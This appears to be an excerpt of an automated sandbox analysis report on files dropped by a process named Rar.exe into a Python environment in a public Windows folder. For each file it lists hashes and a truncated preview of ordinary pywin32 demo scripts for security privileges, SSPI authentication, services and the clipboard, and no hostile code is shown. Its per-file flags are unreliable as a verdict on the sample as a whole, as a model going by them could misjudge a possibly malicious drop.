Preview:	import ntsecuritycon.import win32api.import win32file.import win32security..policy_handle = win32security.GetPolicyHandle("rupole", win32security.POLICY_ALL_ACCESS)..event_audit_info = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation.).print(event_audit_info)..new_audit_info = list(event_audit_info[1]).new_audit_info[win32security.AuditCategoryPolicyChange] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS \| win32security.POLICY_AUDIT_EVENT_FAILURE.).new_audit_info[win32security.AuditCategoryAccountLogon] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS \| win32security.POLICY_AUDIT_EVENT_FAILURE.).new_audit_info[win32security.AuditCategoryLogon] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS \| win32security.POLICY_AUDIT_EVENT_FAILURE.)..win32security.LsaSetInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation, (1, new_audit_info).)..win32security.LsaClose(policy_handle).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\setkernelobjectsecurity.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4917
Entropy (8bit):	5.272689420786585
Encrypted:	false
SSDEEP:	96:Yrcny/jWiv5k/IDkdU/pqyaai78ziK9DJarxYlf7h8xl:Y+y/jWiv5k/Igwq8x+KumZel
MD5:	EF8021AF7913DDA04DDF02F2C0DE7C23
SHA1:	00BC54F54DCBB9A5A24DE537941BC25DD4AA7C13
SHA-256:	4B7C41345F179C949CB6EF6014B170B85CAEF1E85815AFAD4B6EE702361159AA
SHA-512:	38F53067622A35A712FFAFE44472563A9052B822BB370AF6844896792C1A39D0E23797065EFE00EAA9F74614BFDB1B8F9B9A924D0487D4B70F81DE26C83D63AD
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32con.import win32process.import win32security..## You need SE_RESTORE_NAME to be able to set the owner of a security descriptor to anybody.## other than yourself or your primary group. Most admin logins don't have it by default, so.## enabling it may fail.new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivileg

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\setnamedsecurityinfo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4392
Entropy (8bit):	5.2487634042183835
Encrypted:	false
SSDEEP:	96:Snqrcny/jWiv5k/IDkdAqI08Jarx+LwfGfyh8u:h+y/jWiv5k/IgWqHjjj
MD5:	4ABA1E68BAC79456F9C3A0609712D9EB
SHA1:	A9D86A09BBCD2AF8380189B71614A22501EE6351
SHA-256:	7E1144512E75466D6BE8CE265F88CBB33EB0FB5F3D6EDACEA99F1317A2FF98E1
SHA-512:	A0316A045611F4270245766BF712D6378F4BCC38203760834075CE5854D60F95F71B6618C758D455D19DB1C736A7FE8C379D31BFF4F8D449EFC90BB7EC58DDE9
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32con.import win32process.import win32security..fname, tmp = win32api.GetTempFileName(win32api.GetTempPath(), "tmp").print(fname).## You need SE_RESTORE_NAME to be able to set the owner of a security descriptor to anybody.## other than yourself or your primary group. Most admin logins don't have it by default, so.## enabling it may fail.new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\setsecurityinfo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	5.258881603906181
Encrypted:	false
SSDEEP:	96:Yrcny/jWiv5k/IDkdU/pqygiK9uJarxIn2e7h8HjU:Y+y/jWiv5k/IgwqCKhWjwU
MD5:	9DB47F76ED6E8A88CBE1E4B9F23CE295
SHA1:	24630AB98FFAF3B001F7F7F85CE9B8265BF53C63
SHA-256:	2AD30A8C118FA254D47A4C31E04B5D16524B486A80C7DEB4A9381052B786B0B5
SHA-512:	05046DA2645B83997EB094A1FED82D2BFA4E84C2841B4792DAE44933376D1926D1F3B9B96DDE8DD486DCBC1271EB05683D5A57C8528F75128CA43715A74B9A04
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32con.import win32process.import win32security..## You need SE_RESTORE_NAME to be able to set the owner of a security descriptor to anybody.## other than yourself or your primary group. Most admin logins don't have it by default, so.## enabling it may fail.new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivileg

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\setuserobjectsecurity.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3382
Entropy (8bit):	5.237699635064882
Encrypted:	false
SSDEEP:	48:eny/jWmJv5zAS/YIDkh3pkinPPS5hMbo3aA6K8GoQdlTpr:eny/jWiv5k/IDkdHqIE3ai8RWHr
MD5:	7DCADEC88612DD294016B68E78555986
SHA1:	8944F04FBDDB40F986D6BBC56D91C9458568F2AC
SHA-256:	4A6A9531E547F1B37C95633D70C0187C42EC814E8754C1BFA2E49C105CC4953E
SHA-512:	50837D9BA259B0F9DF8DC9F82CD3FEFF30952879AF9AEC1E2077E53E8316F5499D119B52309F5D042F543DB0D41368BDC8FA902611CE23B850077FD3FB4170FE
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32con.import win32process.import win32security..new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_ENABLE_DELEGATION_NAME),. win32con.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\sspi\fetch_url.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5481
Entropy (8bit):	4.3341623144023025
Encrypted:	false
SSDEEP:	96:vWoYyit70UN8J99Vyiu6SuuC+D8d6o1lyEfZVw:Z5it707yiTSFXwd71lyEfZVw
MD5:	4FB50CD03A213D9C3696D05DD228F03F
SHA1:	F6C604FD9A3B939D350C76623D0556DF412913F3
SHA-256:	5F10CB276CCAA10D00FBD01126B316C045DC26D65C2F5F03825D19084D44048D
SHA-512:	BC5FB9C1978733BF174E70B8956BEA1641D6B066AEEE499C5212CC55D72B646B4D6AF8A5106AC3F1FC744DC1D0CD5986EDD7EC8BAD1F039BF4E93125612EA179
Malicious:	false
Reputation:	low
Preview:	""".Fetches a URL from a web-server supporting NTLM authentication.eg, IIS...If no arguments are specified, a default of http://localhost/localstart.asp.is used. This script does follow simple 302 redirections, so pointing at the.root of an IIS server is should work.."""..import http.client # sorry, this demo needs 2.3+.import optparse.import urllib.error.import urllib.parse.import urllib.request.from base64 import decodestring, encodestring..from sspi import ClientAuth..options = None # set to optparse options object...def open_url(host, url):. h = http.client.HTTPConnection(host). # h.set_debuglevel(9). h.putrequest("GET", url). h.endheaders(). resp = h.getresponse(). print("Initial response is", resp.status, resp.reason). body = resp.read(). if resp.status == 302: # object moved. url = "/" + resp.msg["location"]. resp.close(). h.putrequest("GET", url). h.endheaders(). resp = h.getresponse(). print("After redire

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\sspi\simple_auth.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2857
Entropy (8bit):	5.268166314469273
Encrypted:	false
SSDEEP:	48:OcDheGUbSo31BtMhZJpu31qkMqwzzqgq0qQGnIHsorrI+JTYnSJY50C+c9wyMDRJ:7eGwBtMbJo1qkMqizqgq0qxnIhrMV0cq
MD5:	C903127F2939DF13251320C082311B90
SHA1:	6F6DF731BE829317C134B731817939DEBE071A97
SHA-256:	F76852F275C183F907DF441FF63A9A53BC48DC725331D3DCAB3848A41A5EA32F
SHA-512:	747A8E05304303EF8AAFFF2D46FA3D858967B05DD31BA13CDAE698EFF4E553CE6793303FA65B2C13234874E979A24DF4F587C9A79AF9502388BB4CE83F76202A
Malicious:	false
Reputation:	low
Preview:	# A demo of basic SSPI authentication..# There is a 'client' context and a 'server' context - typically these will.# be on different machines (here they are in the same process, but the same.# concepts apply).import sspi.import sspicon.import win32api.import win32security...def lookup_ret_code(err):. for k, v in list(sspicon.__dict__.items()):. if k[0:6] in ("SEC_I_", "SEC_E_") and v == err:. return k...""".pkg_name='Kerberos'.sspiclient=SSPIClient(pkg_name, win32api.GetUserName(), ## target spn is ourself. None, None, ## use none for client name and authentication information for current context. ## u'username', (u'username',u'domain.com',u'passwd'),. sspicon.ISC_REQ_INTEGRITY\|sspicon.ISC_REQ_SEQUENCE_DETECT\|sspicon.ISC_REQ_REPLAY_DETECT\| \. sspicon.ISC_REQ_DELEGATE\|sspicon.ISC_REQ_CONFIDENTIALITY\|sspicon.ISC_REQ_USE_SESSION_KEY).sspiserver=SSPIServer(pkg_name, None,. sspicon.ASC_REQ_INTEGRITY\|sspicon.ASC_REQ_SEQUENCE_DETECT\|sspicon.ASC_RE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\sspi\socket_server.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6361
Entropy (8bit):	4.427558647447183
Encrypted:	false
SSDEEP:	96:M33Chyu7QCY4fZ9VCNasbYWdrdZE+wToisvEo0Wst0mTjg9/Z+RV8X:MCgsuuCNaSY0ZE+ZvQWst0ejgebO
MD5:	75D5A35B4EE8B8DC4E4FDD5B5400584B
SHA1:	4EE7C6CF3B71822A268672C2405C1509916333DC
SHA-256:	9A9AF6C5EF6044CA082AEDE43EBFCEE1917B7DEC1F377323B679F1F2330673DF
SHA-512:	5DCBB7B5A989C7D26861BC23D60AA79B014B4A172CD9C4401C8BEFB88A53F8928A83A60CD3813B2ECA2A85676A5A572AFD74FE2A0B43920E76AE74ADF542B217
Malicious:	false
Reputation:	low
Preview:	"""A sample socket server and client using SSPI authentication and encryption...You must run with either 'client' or 'server' as arguments. A server must be.running before a client can connect...To use with Kerberos you should include in the client options.--target-spn=username, where 'username' is the user under which the server is.being run...Running either the client or server as a different user can be informative..A command-line such as the following may be useful:.`runas /user:{user} {fqp}\python.exe {fqp}\socket_server.py --wait client\|server`..{fqp} should specify the relevant fully-qualified path names...To use 'runas' with Kerberos, the client program will need to.specify --target-spn with the username under which the server is running...See the SSPI documentation for more details.."""...import http.client # sorry, this demo needs 2.3+.import optparse.import socketserver.import struct.import traceback..import sspi.import win32api.import win32security..options = None # se

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\security\sspi\validate_password.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	4.72989402530247
Encrypted:	false
SSDEEP:	24:JgRTg/scLBkLesqldQsC4WgWNoLIpDbF898iLyxsYkuN4mRe:JGgk6Bzs+dxrvLIxbF898iLyiYHKmA
MD5:	7BD62BDDEA1DCCC3865FAA118C757D2C
SHA1:	B61E0C8977189AB067449C38D2A1D6284D61C25F
SHA-256:	1A3DABD6ED521A3D0D4F9B5C08B888C31F5BCF4279FE8CC7B2C98210F77936F9
SHA-512:	4ED8BCE08C20A18110A1FCD97C26CE5B6B1CF82EB755F8F72DE72693742E1726AAA455461139FE30154CD5D4C10723E33097EE33AC1439E62FC7676B73E99668
Malicious:	false
Reputation:	low
Preview:	# Demonstrates how to validate a password..# See also MSKB article Q180548.#.# To use with Kerberos you need to jump through the 'targetspn' hoops...import sys..import win32security.from sspi import ClientAuth, ServerAuth...def validate(username, password, domain=""):. auth_info = username, domain, password. ca = ClientAuth("NTLM", auth_info=auth_info). sa = ServerAuth("NTLM").. data = err = None. while err != 0:. err, data = ca.authorize(data). err, data = sa.authorize(data). # If we get here without exception, we worked!...if __name__ == "__main__":. if len(sys.argv) not in [2, 3, 4]:. print("Usage: %s username [password [domain]]" % (__file__,)). sys.exit(1).. # password and domain are optional!. password = None. if len(sys.argv) >= 3:. password = sys.argv[2]. domain = "". if len(sys.argv) >= 4:. domain = sys.argv[3]. try:. validate(sys.argv[1], password, domain). print("Validated OK").

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\service\nativePipeTestService.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2135
Entropy (8bit):	4.562211316978868
Encrypted:	false
SSDEEP:	48:A07kBblOiMGpg1DMjtqyNycLNH7aJEywPfo4E4tLgO8M:A07kBZOFSgQsyRLZC4osgO8M
MD5:	4F13CA50A137FD86C6F22E1F0082970F
SHA1:	5E24BA918FFD189703DC09360460C870B6C9E9A7
SHA-256:	2970786059E4DB3E95D38D38A6BBF6A16D4E520FE077BF8D86582106673A20B7
SHA-512:	8BCFDA29A39851B622DCA268474F1FCB61E3E7C66FE3980D314B57A956BB72CFA324BE19F82F5D8D6F193A17571B91B09D91D7100D899D587890FEABE146990A
Malicious:	false
Reputation:	low
Preview:	# This is an example of a service hosted by python.exe rather than.# pythonservice.exe...# Note that it is very rare that using python.exe is a better option.# than the default pythonservice.exe - the latter has better error handling.# so that if Python itself can't be initialized or there are very early.# import errors, you will get error details written to the event log. When.# using python.exe instead, you are forced to wait for the interpreter startup.# and imports to succeed before you are able to effectively setup your own.# error handling...# So in short, please make sure you really want to do this, otherwise just.# stick with the default...import os.import sys..import servicemanager.import win32serviceutil.from pipeTestService import TestPipeService...class NativeTestPipeService(TestPipeService):. _svc_name_ = "PyNativePipeTestService". _svc_display_name_ = "Python Native Pipe Test Service". _svc_description_ = "Tests Python.exe hosted services". # tell win32serv

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\service\pipeTestService.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6893
Entropy (8bit):	4.585752418885161
Encrypted:	false
SSDEEP:	96:C7hRuRwOeqkUJcSC8dccc6sfQ0ulF8C8twh7KPAcCLp/2cAdqOJ:C+y/ocSC8Kcc6MQX7jFKPAHuPdPJ
MD5:	B21995DADB96151A3178C89778F5821F
SHA1:	592856A829A06EB302353B70E7B0999F50A885EC
SHA-256:	6EA910AC3A4B58C77F4B312753F894367DCA3FADB5A23D1F70A60526CA7F1133
SHA-512:	1AD8A118582AB2D8CD145B219347F0216E2FB73AF3ACC57DD25E1EB8074D7D81C3599C5DA864F26686688E142DEAF74AC7F18435483F10B7DDC4C97FD70EB42B
Malicious:	false
Reputation:	low
Preview:	# A Demo of services and named pipes...# A multi-threaded service that simply echos back its input...# * Install as a service using "pipeTestService.py install".# * Use Control Panel to change the user name of the service.# to a real user name (ie, NOT the SystemAccount).# * Start the service..# * Run the "pipeTestServiceClient.py" program as the client pipe side...import _thread.import traceback..# Old versions of the service framework would not let you import this.# module at the top-level. Now you can, and can check 'Debugging()' and.# 'RunningAsService()' to check your context..import pywintypes.import servicemanager.import win32con.import win32service.import win32serviceutil.import winerror.from ntsecuritycon import .from win32api import ..# Use "import " to keep this looking as much as a "normal" service.# as possible. Real code shouldn't do this..from win32event import .from win32file import .from win32pipe import ...def ApplyIgnoreError(fn, args):. try:. ret

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\service\pipeTestServiceClient.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	4481
Entropy (8bit):	4.484804480076562
Encrypted:	false
SSDEEP:	96:mRjd2OzAT63NFgwgihr8rbSw3SFm05GN8EVE6i:mRjE0f3D7h+b13Il52vVE6i
MD5:	40792A85E480392D45275CF67BE01422
SHA1:	9CBD58C86FC710B6C4CEC25B375503C445F92256
SHA-256:	B4A535554E7553743175B46A37DD038F01A32ACFF72D965C8EDC72AEE7676C06
SHA-512:	E82BB319609EADDFFE0491149F2F37CE227A9CC7D74845482F0BF8FA694C3E0A0E8A360EE87057AF08D71945E55E3D1D1E334A9171E58E100142A2643E96617B
Malicious:	false
Reputation:	low
Preview:	# A Test Program for pipeTestService.py.#.# Install and start the Pipe Test service, then run this test.# either from the same machine, or from another using the "-s" param..#.# Eg: pipeTestServiceClient.py -s server_name Hi There.# Should work...import os.import sys.import traceback..import pywintypes.import win32api.import winerror.from win32event import .from win32file import .from win32pipe import *..verbose = 0..# def ReadFromPipe(pipeName):.# Could (Should?) use CallNamedPipe, but this technique allows variable size.# messages (whereas you must supply a buffer size for CallNamedPipe!.# hPipe = CreateFile(pipeName, GENERIC_WRITE, 0, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0).# more = 1.# while more:.# hr = ReadFile(hPipe, 256).# if hr==0:.# more = 0.# except win32api.error (hr, fn, desc):.# if hr==winerror.ERROR_MORE_DATA:.# data = dat.#...def

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\service\serviceEvents.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4075
Entropy (8bit):	4.913580202147345
Encrypted:	false
SSDEEP:	48:VGAe4yOAJf2klecrcxNokZs9eW8cpkYQQzQ/G3p3f5VF1cTIl5QXoJsbw:Yayffr06k29QcGNHO1/F1cm5K+Iw
MD5:	1736FD061AD70B0C9452E0EB63E7699E
SHA1:	75BE37D779E98DC848215BF5CA9A34B98071BD39
SHA-256:	5C6BB64EA8E1BF7B7011C6464E90ACB155F3C88AD1EDEEE520DC528571E815C1
SHA-512:	B9058CC59105489A0C6FA86AF15CDD07FC8F765033446CE0649667A62599656CCDA556B7444963812930DB01357DB03F9F8DB6A404D3AB7FED889B9147AB4783
Malicious:	false
Reputation:	low
Preview:	# A Demo of a service that takes advantage of the additional notifications.# available in later Windows versions...# Note that all output is written as event log entries - so you must install.# and start the service, then look at the event log for messages as events.# are generated...# Events are generated for USB device insertion and removal, power state.# changes and hardware profile events - so try putting your computer to.# sleep and waking it, inserting a memory stick, etc then check the event log..# Most event notification support lives around win32gui.import servicemanager.import win32con.import win32event.import win32gui.import win32gui_struct.import win32service.import win32serviceutil..GUID_DEVINTERFACE_USB_DEVICE = "{A5DCBF10-6530-11D2-901F-00C04FB951ED}"...class EventDemoService(win32serviceutil.ServiceFramework):. _svc_name_ = "PyServiceEventDemo". _svc_display_name_ = "Python Service Event Demo". _svc_description_ = (. "Demonstrates a Python service which

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\timer_demo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	4.521126122680342
Encrypted:	false
SSDEEP:	48:xgD61DVymdypV5MjDABsHOPvKXQ6HOIuc4bqFhc7EfjhNm2on:Q615ndypMDABUOPPvI4eFeALhk2on
MD5:	CD4A7FC5E4FD347037BB7256850B9B56
SHA1:	2CE36FC7871F79810038D810613F5A4D796D17CA
SHA-256:	9628F439FEABE60861DC4EDF838164A81500628FD70D9A43444B08CF50F55CDB
SHA-512:	D82B58C53C992430214909CF7F0E4F74BA711E76578A54457AFC805C11B591286FFFEB58EDE69A04E0A6F8063631E9062A234019E32A1828F9CDC8363AB6556B
Malicious:	false
Reputation:	low
Preview:	# -- Mode: Python; tab-width: 4 --.#..# This module, and the timer.pyd core timer support, were written by.# Sam Rushing (rushing@nightmare.com)..import time..# Timers are based on Windows messages. So we need.# to do the event-loop thing!.import timer.import win32event.import win32gui..# glork holds a simple counter for us....class glork:. def __init__(self, delay=1000, max=10):. self.x = 0. self.max = max. self.id = timer.set_timer(delay, self.increment). # Could use the threading module, but this is. # a win32 extension test after all! :-). self.event = win32event.CreateEvent(None, 0, 0, None).. def increment(self, id, time):. print("x = %d" % self.x). self.x = self.x + 1. # if we've reached the max count,. # kill off the timer.. if self.x > self.max:. # we could have used 'self.id' here, too. timer.kill_timer(id). win32event.SetEvent(self.event)...# create a counte

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32clipboardDemo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4666
Entropy (8bit):	4.668774222762782
Encrypted:	false
SSDEEP:	96:SvkHtf4HomAM/yjHGnav57yjKATlbbnonaYBPYbhkw9zCa/qSbNzw1z:S+f4Im3cGn67P43onYhL9vVxs
MD5:	DB58629AA113EDAC46DE260EBFBAD2BE
SHA1:	3C51C981260093C562341E841C532C315F333C8C
SHA-256:	D8492408E4957D3AA6C2F828E516537A5001890243BDF1F07570D22EA070CEDF
SHA-512:	FEB1C5F901E6E6CF1E1C5E0F98C5FC545EF2590CB3406C34CF2A774A46002571E5C1C6A36A3F5A0D544BB594333776653B1E8C6CF1B12AF9BFB6C805CF8295CA
Malicious:	false
Reputation:	low
Preview:	# win32clipboardDemo.py.#.# Demo/test of the win32clipboard module...import win32con.from pywin32_testutil import str2bytes # py3k-friendly helper.from win32clipboard import ..if not __debug__:. print("WARNING: The test code in this module uses assert"). print("This instance of Python has asserts disabled, so many tests will be skipped")..cf_names = {}.# Build map of CF_ constants to names..for name, val in list(win32con.__dict__.items()):. if name[:3] == "CF_" and name != "CF_SCREENFONTS": # CF_SCREEN_FONTS==CF_TEXT!?!?. cf_names[val] = name...def TestEmptyClipboard():. OpenClipboard(). try:. EmptyClipboard(). assert (. EnumClipboardFormats(0) == 0. ), "Clipboard formats were available after emptying it!". finally:. CloseClipboard()...def TestText():. OpenClipboard(). try:. text = "Hello from Python". text_bytes = str2bytes(text). SetClipboardText(text). got = GetClipboardData(win32co

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32clipboard_bitmapdemo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3905
Entropy (8bit):	4.396194918375346
Encrypted:	false
SSDEEP:	48:iOMbbuK52jUCVYqT7jQ3eGi+KL44cd12xXtACc2eGzqQ3mRsG4m:ihbbeBVN7jyi+KU4Ju2usGv
MD5:	258A699983426F66EB6440D4B1E0D34E
SHA1:	026B32F8A76C1B6F955EAB426AE3597ED4FCDF09
SHA-256:	905279066C8F55C7BC6376D4B583918BB5CEE1547E37B8328245112EA1155C1B
SHA-512:	F3DC2BC0EEBA1B3812AA9BF7FB16D2F882FE252E718219C88628E0BE10247156733A09F6928C9044760A0492906E490A286FC1084CCAD5BF0ABC09B37E491E8B
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32clipboard.import win32con.import win32gui...class ViewerWindow:. def __init__(self):. self.hwndNextViewer = None.. def OnPaint(self, hwnd, msg, wp, lp):. dc, ps = win32gui.BeginPaint(hwnd). wndrect = win32gui.GetClientRect(hwnd). wndwidth = wndrect[2] - wndrect[0]. wndheight = wndrect[3] - wndrect[1]. win32clipboard.OpenClipboard(). try:. try:. hbitmap = win32clipboard.GetClipboardData(win32clipboard.CF_BITMAP). except TypeError:. font = win32gui.LOGFONT(). font.lfHeight = 15 # int(wndheight/20). font.lfWidth = 15 # font.lfHeight. # font.lfWeight=150. hf = win32gui.CreateFontIndirect(font). win32gui.SelectObject(dc, hf). win32gui.SetBkMode(dc, win32con.TRANSPARENT). win32gui.SetTextColor(dc, win32api.RGB(0, 0, 0)). win32gu

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32comport_demo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5536
Entropy (8bit):	4.562610287492588
Encrypted:	false
SSDEEP:	96:LAmlRZGu6O+K3Yf5ssjT0ALmjgriErdNTm5GD+TtXN4Brr:LybK3YhssPDKjgriEr3i5/tdk/
MD5:	3A3B78735045BCDA323C1454A8A6524F
SHA1:	2E9A0AB51D615E7717C8ED3A51A8AA24D3975F5C
SHA-256:	5E8F4A7A26DF3EECFABAF58DF88E291C1A90EC87DCB40C51123E006832C82D89
SHA-512:	235B679DCE556F5F9CCBDF995EDDCC43019098284B9D8342CA1940F6BBBEE658148AD519B3E29BF70490E1B3521242F5CC1BD03B977F4D760FF89A1EFFE0E0A6
Malicious:	false
Reputation:	low
Preview:	# This is a simple serial port terminal demo..#.# Its primary purpose is to demonstrate the native serial port access offered via.# win32file...# It uses 3 threads:.# - The main thread, which cranks up the other 2 threads, then simply waits for them to exit..# - The user-input thread - blocks waiting for a keyboard character, and when found sends it.# out the COM port. If the character is Ctrl+C, it stops, signalling the COM port thread to stop..# - The COM port thread is simply listening for input on the COM port, and prints it to the screen...# This demo uses userlapped IO, so that none of the read or write operations actually block (however,.# in this sample, the very next thing we do _is_ block - so it shows off the concepts even though it.# doesnt exploit them...import msvcrt # For the getch() function..import sys.import threading..import win32con # constants..from win32event import * # We use events and the WaitFor[Multiple]Objects functions..from win32file import * # The

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\win32console_demo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5109
Entropy (8bit):	4.7421972636330745
Encrypted:	false
SSDEEP:	96:fJUKEFxFgO1PPfJM7FxFgyFtF9VCFGFJFxFZFtFuFHFSFr:nE75fG77Wyv9Cg/3PbgFsR
MD5:	867D26ABCB67E383F5648184D67E050B
SHA1:	B7030E5399DA5BD59F903CB050D8812346C4BEAB
SHA-256:	5361F5BF72F2598DCB4D505A1C74D969A12A96EF80FA14F00AB8E1FD63AF2152
SHA-512:	A8BD3C68FF367C9036A8A20A15465E3404A646F5639D8AE30E14335C72C511E008816A0325FE40C4FC37A662FC6B894AFFBC01AC248FF98A482056A8CF53CFC2
Malicious:	false
Reputation:	low
Preview:	import time..import win32con.import win32console..virtual_keys = {}.for k, v in list(win32con.__dict__.items()):. if k.startswith("VK_"):. virtual_keys[v] = k..free_console = True.try:. win32console.AllocConsole().except win32console.error as exc:. if exc.winerror != 5:. raise. ## only free console if one was created successfully. free_console = False..stdout = win32console.GetStdHandle(win32console.STD_OUTPUT_HANDLE).stdin = win32console.GetStdHandle(win32console.STD_INPUT_HANDLE).newbuffer = win32console.CreateConsoleScreenBuffer().newbuffer.SetConsoleActiveScreenBuffer().newbuffer.SetConsoleTextAttribute(. win32console.FOREGROUND_RED. \| win32console.FOREGROUND_INTENSITY. \| win32console.BACKGROUND_GREEN. \| win32console.BACKGROUND_INTENSITY.).newbuffer.WriteConsole("This is a new screen buffer\n")..## test setting screen buffer and window size.## screen buffer size cannot be smaller than window size.window_size = 